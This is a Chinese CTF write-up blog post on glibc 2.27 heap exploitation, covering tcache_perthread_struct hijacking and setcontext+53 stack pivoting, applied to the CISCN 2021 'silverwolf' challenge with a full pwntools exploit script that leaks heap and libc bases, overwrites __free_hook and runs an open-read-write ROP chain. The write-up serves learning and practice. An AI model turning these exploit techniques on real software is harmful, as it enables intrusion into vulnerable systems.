初探tcache_perthread_struct与setcontext

tcache_perthread_struct

(glibc-2.27)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

其中

1
# define TCACHE_MAX_BINS		64

在程序中就是一块0x250的堆块来记录每个大小的tcache中的数量以及第一个指针

比如

其中对应的tcache_perthread_struct 结构体就长这样

1
2
3
4
5
6
7
8
9
10
11
12
0x555555605000:	0x0000000000000000	0x0000000000000251 -->size位
-------
0x555555605010: 0x0007070100000007 0x0000020003000000 -->比如0x00 07 07 01 00 00 00 07 从右到左分别是 0x20 0x30 0x40 0x50 大小的free chunk的数量,0x10是7....
0x555555605020: 0x0000000000000000 0x0000000000000000
0x555555605030: 0x0000000000000000 0x0000000000000000
0x555555605040: 0x0000000000000000 0x0000000000000000
-------以上记录的都是counts,也就是数量
0x555555605050: 0x0000555555606610(0x20) 0x0000000000000000 这里记录指针,也是从0x20开始(0x30)
0x555555605060: 0x0000000000000000(0x40) 0x0000000000000000(0x50)
0x555555605070: 0x00005555556068c0(0x60) 0x0000555555606360
0x555555605080: 0x0000555555605e90 0x0000000000000000
0x555555605090: 0x0000000000000000 0x0000000000000000

如果能控制这一块,就可以实现任意写等效果。

setcontext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.text:0000000000052180                 public setcontext ; weak
.text:0000000000052180 setcontext proc near ; CODE XREF: sub_587B0+C↓p
.text:0000000000052180 ; DATA XREF: LOAD:0000000000009018↑o
.text:0000000000052180 ; __unwind {
.text:0000000000052180 push rdi
.text:0000000000052181 lea rsi, [rdi+128h] ; nset
.text:0000000000052188 xor edx, edx ; oset
.text:000000000005218A mov edi, 2 ; how
.text:000000000005218F mov r10d, 8 ; sigsetsize
.text:0000000000052195 mov eax, 0Eh
.text:000000000005219A syscall ; LINUX - sys_rt_sigprocmask
.text:000000000005219C pop rdi
.text:000000000005219D cmp rax, 0FFFFFFFFFFFFF001h
.text:00000000000521A3 jnb short loc_52200
.text:00000000000521A5 mov rcx, [rdi+0E0h]
.text:00000000000521AC fldenv byte ptr [rcx]
.text:00000000000521AE ldmxcsr dword ptr [rdi+1C0h]
.text:00000000000521B5 mov rsp, [rdi+0A0h]
.text:00000000000521BC mov rbx, [rdi+80h]
.text:00000000000521C3 mov rbp, [rdi+78h]
.text:00000000000521C7 mov r12, [rdi+48h]
.text:00000000000521CB mov r13, [rdi+50h]
.text:00000000000521CF mov r14, [rdi+58h]
.text:00000000000521D3 mov r15, [rdi+60h]
.text:00000000000521D7 mov rcx, [rdi+0A8h]
.text:00000000000521DE push rcx
.text:00000000000521DF mov rsi, [rdi+70h]
.text:00000000000521E3 mov rdx, [rdi+88h]
.text:00000000000521EA mov rcx, [rdi+98h]
.text:00000000000521F1 mov r8, [rdi+28h]
.text:00000000000521F5 mov r9, [rdi+30h]
.text:00000000000521F9 mov rdi, [rdi+68h]

一般从 setcontext+53 开始用,因为 fldenv byte pte [rcx] 会造成程序执行时直接 crash 。

通过这个,我们只要控制 rdi,就可以控制 rsp 等一系列寄存器,通过控制 rsp+ret 我们就可以控制程序流。

通常与 free 搭配使用,将 free_hook 覆盖成 setcontext+53,然后执行 free,此时 rdi 就指向我们正在 free 的 chunk,我们只要在这个 chunk 上布置好数据,就可以控制 rsp 等一系列寄存器

需要注意的是,如果我们控制的是 rsp 寄存器,这里的 push rcx 会对其造成影响

[CISCN 2021 初赛]silverwolf

64位动态链接,保护全开,并且沙箱只允许 open read write

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
_QWORD v3[5]; // [rsp+0h] [rbp-28h] BYREF

v3[1] = __readfsqword(0x28u);
init_sandbox();
while ( 1 )
{
puts("1. allocate");
puts("2. edit");
puts("3. show");
puts("4. delete");
puts("5. exit");
__printf_chk(1, "Your choice: ");
__isoc99_scanf(&unk_1144, v3);
switch ( v3[0] )
{
case 1LL:
add();
break;
case 2LL:
edit();
break;
case 3LL:
show();
break;
case 4LL:
delete();
break;
case 5LL:
exit(0);
default:
puts("Unknown");
break;
}
}
}

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// add函数 - 分配堆内存
unsigned __int64 add()
{
size_t size_1; // rbx
void *heap_buffer; // rax
size_t size; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-10h]

v4 = __readfsqword(0x28u);
__printf_chk(1, "Index: ");
__isoc99_scanf(&unk_1144, &size); // idx只能为0
if ( !size )
{
__printf_chk(1, "Size: ");
__isoc99_scanf(&unk_1144, &size);
size_1 = size;
if ( size > 0x78 ) // 最多0x78
{
__printf_chk(1, "Too large");
}
else
{
heap_buffer = malloc(size);
if ( heap_buffer )
{
alloc_size = size_1;
::heap_buffer = heap_buffer; // 总是记录最后分配的堆块
puts("Done!");
}
else
{
puts("allocate failed");
}
}
}
return __readfsqword(0x28u) ^ v4;
}

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// edit函数 - 编辑堆内存内容
unsigned __int64 edit()
{
_BYTE *buf; // rbx
char *v1; // rbp
__int64 v3; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-20h]

v4 = __readfsqword(0x28u);
__printf_chk(1, "Index: ");
__isoc99_scanf(&unk_1144, &v3); // 这里也是,只能输入0
if ( !v3 )
{
if ( heap_buffer )
{
__printf_chk(1, "Content: ");
buf = heap_buffer;
if ( alloc_size )
{
v1 = (char *)heap_buffer + alloc_size;
while ( 1 )
{
read(0, buf, 1u);
if ( *buf == '\n' )
break;
if ( ++buf == v1 )
return __readfsqword(0x28u) ^ v4;
}
*buf = 0;
}
}
}
return __readfsqword(0x28u) ^ v4;
}

show

1
2
3
4
5
6
7
8
9
10
11
12
13
// show函数 - 显示堆内存内容
unsigned __int64 show()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]

v2 = __readfsqword(0x28u);
__printf_chk(1, "Index: ");
__isoc99_scanf(&unk_1144, &v1);
if ( !v1 && heap_buffer )
__printf_chk(1, "Content: %s\n", (const char *)heap_buffer);
return __readfsqword(0x28u) ^ v2;
}

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
// delete函数 - 释放堆内存,存在Use After Free漏洞
unsigned __int64 delete()
{
__int64 v1; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-10h]

v2 = __readfsqword(0x28u);
__printf_chk(1, "Index: ");
__isoc99_scanf(&unk_1144, &v1);
if ( !v1 && heap_buffer )
free(heap_buffer); // UAF
return __readfsqword(0x28u) ^ v2;
}

分析

可以看到很明显的 UAF,并且 idx 只能为 0,有沙箱,ORW

可以通过控制 tcache_perthread_struct 然后 setcontext 迁移栈,实现 orw

由于沙箱的存在,tcache 原本就有一些 free chunk,那么我们可以分配一个有 chunk 的 tcache 链中,然后通过UAF + show() 泄露一个堆块的地址,计算固定偏移,得出 heapbase

1
2
3
4
5
add(0x78)
delete()
show()
ru("Content: ")
heapbase=u64(rv(6).ljust(8,b'\x00'))-0x11b0

然后我们 edit 写入 heapbase+0x10,由于 0x250 的这个 tcache_perthread_struct 是最先分配的,它就在 heapbase 上,如果我们直接分配 heapbase 会破坏 size 为,所以要 +0x10,

1
2
3
edit(p64(heapbase+0x10))
add(0x78)
add(0x78)

分配两次得到 heapbase,也就是 tcache_perthread_struct

这里我们往里面写入

1
edit(p64(0)*4+p64(0x0000000007000000))

这个就是写 0x250 的 tcache 链已经满了,这样我们释放时,就会让这个堆块进入 unsortedbin,从而泄露 libcbase,效果如下

1770811309784

为什么是 0x250 而不是 0x80,因为 tcache 的分配不会检查 size, 也不会写 size,只是将这个 chunk 拿出来,原本是多大还是多大,所以我们上面第二个 add(0x78) 其实是分配了这个 0x250 的堆块, delete() 后即可让其进入 unsortedbin,然后计算libcbase,并且得到各个 gadgets 的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
delete()
show()
ru("Content: ")
libcbase=u64(rv(6).ljust(8,b'\x00'))-0x3ebca0
free_hook=libcbase+libc.sym['__free_hook']
print("[+] libcbase ",hex(libcbase))
rdi_addr=libcbase+0x00000000000215bf
rsi_addr=libcbase+0x0000000000023eea
rdx_addr=libcbase+0x0000000000001b96
rax_addr=libcbase+0x0000000000043ae8
ret_addr=libcbase+0x00000000000008aa
syscall=libcbase+0x00000000000d2745
read_addr=libcbase+libc.sym['read']
write_addr=libcbase+libc.sym['write']
setcontext=libcbase+libc.sym['setcontext']+53

然后是写出各个需要的地址和 orw

1
2
3
4
5
6
7
8
flag_str=heapbase+0x1000 # 写/flag 的地方
f_stack=heapbase+0x2000 # 改写的 rsp 的地方
stack_rop=heapbase+0x20a0 # 写 rop 的地方 与上方 f_stack 差 0xa0,待会儿就是控制 rdi 为 f_stack,然后控制 rsp 为 stack_rop
orw1=heapbase+0x3000 # 写orw的第一处(一处写不下)
orw2=heapbase+0x3040 # 写orw的第二处(这两块是连一起的,因为 tcache 的分配不会写任何东西)
orw=p64(rax_addr)+p64(2)+p64(rdi_addr)+p64(flag_str)+p64(rsi_addr)+p64(0)+p64(rdx_addr)+p64(0)+p64(syscall) # open
orw+=p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(heapbase+0x3000)+p64(rdx_addr)+p64(0x30)+p64(read_addr) # read
orw+=p64(rdi_addr)+p64(1)+p64(write_addr) # write

然后将这些数据写入 tcache 中,为接下去的分配做准备

1
2
3
4
5
6
7
8
payload=b'\x01'*64
payload+=p64(free_hook) # 0x20
payload+=p64(flag_str) # 0x30
payload+=p64(f_stack) # 0x40
payload+=p64(stack_rop) # 0x50
payload+=p64(orw1) # 0x60
payload+=p64(orw2) # 0x70
edit(payload)

效果如下

然后分配 0x10 ,将 setcontext+53 写入 free_hook

1
2
add(0x10)
edit(p64(setcontext))

然后分配 0x20 将 /flag 这个字符串写进去,以便 open(/flag,0,0)

1
2
add(0x20)
edit(b'/flag\x00\x00\x00')

然后分两次写入我们的 orw 串

1
2
3
4
add(0x50)
edit(orw[:0x40])
add(0x60)
edit(orw[0x40:])

然后将 orw 的地址写入到我们伪造的栈上

1
2
add(0x40)
edit(p64(orw1)+p64(ret_addr))

为何需要 ret_addr ,因为后面会有一个 push rcx 会使 rsp-8,够不着我们的 orw 串,我们在 [rdi+0xa8] 这个地址处写入 ret_addr,控制 rcx=ret_addr,从而 push 后有一个 ret,相当于先执行一个 ret 再执行 orw,以便拿到 flag

然后就是 delete 来触发 setcontext 以及 orw,拿到flag

1
2
add(0x30)
delete()

这里控制 rdi=f_stack,从而控制 rsp,从而控制 rip,控制程序执行 orw,拿到flag

效果如下

总结下:

  • 利用已有 chunk 泄露 heapbase
  • UAF 控制 tcache_perthread_struct ,泄露 libcbase
  • setcontext 与 orw 搭配拿到 flag

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
path='./silverwolf'
r=process(path)
elf=ELF(path)
context(os='linux',log_level='debug',arch='amd64')
libc=ELF('./libc-2.27.so')
#r=remote("node4.anna.nssctf.cn",21235)

sla = lambda a,b : r.sendlineafter(a,b)
sa = lambda a,b : r.sendafter(a,b)
sa = lambda a,b : r.sendafter(a,b)
ru = lambda a : r.recvuntil(a)
rv = lambda a : r.recv(a)
irt = lambda : r.interactive()

def add(size):
sla("Your choice: ","1")
sla("Index: ","0")
sla("Size: ",str(size))

def edit(content):
sla("Your choice: ","2")
sla("Index: ","0")
sla("Content: ",content)

def show():
sla("Your choice: ","3")
sla("Index: ","0")

def delete():
sla("Your choice: ","4")
sla("Index: ","0")

add(0x78)
delete()
show()
ru("Content: ")
heapbase=u64(rv(6).ljust(8,b'\x00'))-0x11b0
print("[+] heap base addr: ",hex(heapbase))
edit(p64(heapbase+0x10))
add(0x78)
add(0x78)
edit(p64(0)*4+p64(0x0000000007000000))

delete()
show()
ru("Content: ")
libcbase=u64(rv(6).ljust(8,b'\x00'))-0x3ebca0
free_hook=libcbase+libc.sym['__free_hook']
print("[+] libcbase ",hex(libcbase))
rdi_addr=libcbase+0x00000000000215bf
rsi_addr=libcbase+0x0000000000023eea
rdx_addr=libcbase+0x0000000000001b96
rax_addr=libcbase+0x0000000000043ae8
ret_addr=libcbase+0x00000000000008aa
syscall=libcbase+0x00000000000d2745
read_addr=libcbase+libc.sym['read']
write_addr=libcbase+libc.sym['write']
setcontext=libcbase+libc.sym['setcontext']+53
flag_str=heapbase+0x1000
f_stack=heapbase+0x2000
stack_rop=heapbase+0x20a0
orw1=heapbase+0x3000
orw2=heapbase+0x3040
orw=p64(rax_addr)+p64(2)+p64(rdi_addr)+p64(flag_str)+p64(rsi_addr)+p64(0)+p64(rdx_addr)+p64(0)+p64(syscall)
orw+=p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(heapbase+0x3000)+p64(rdx_addr)+p64(0x30)+p64(read_addr)
orw+=p64(rdi_addr)+p64(1)+p64(write_addr)
payload=b'\x01'*64
payload+=p64(free_hook) # 0x20
payload+=p64(flag_str) # 0x30
payload+=p64(f_stack) # 0x40
payload+=p64(stack_rop) # 0x50
payload+=p64(orw1) # 0x60
payload+=p64(orw2) # 0x70
edit(payload)

add(0x10)
edit(p64(setcontext))

add(0x20)
edit(b'/flag\x00\x00\x00')

add(0x50)
edit(orw[:0x40])
add(0x60)
edit(orw[0x40:])
print("[+] setcontext: ",hex(setcontext))
pause()
add(0x40)
edit(p64(orw1)+p64(ret_addr))

add(0x30)
delete()
irt()

初探tcache_perthread_struct与setcontext
http://yyyffff.github.io/2026/02/11/初探tcache_perthread_struct与setcontext/
作者
yyyffff
发布于
2026年2月11日
许可协议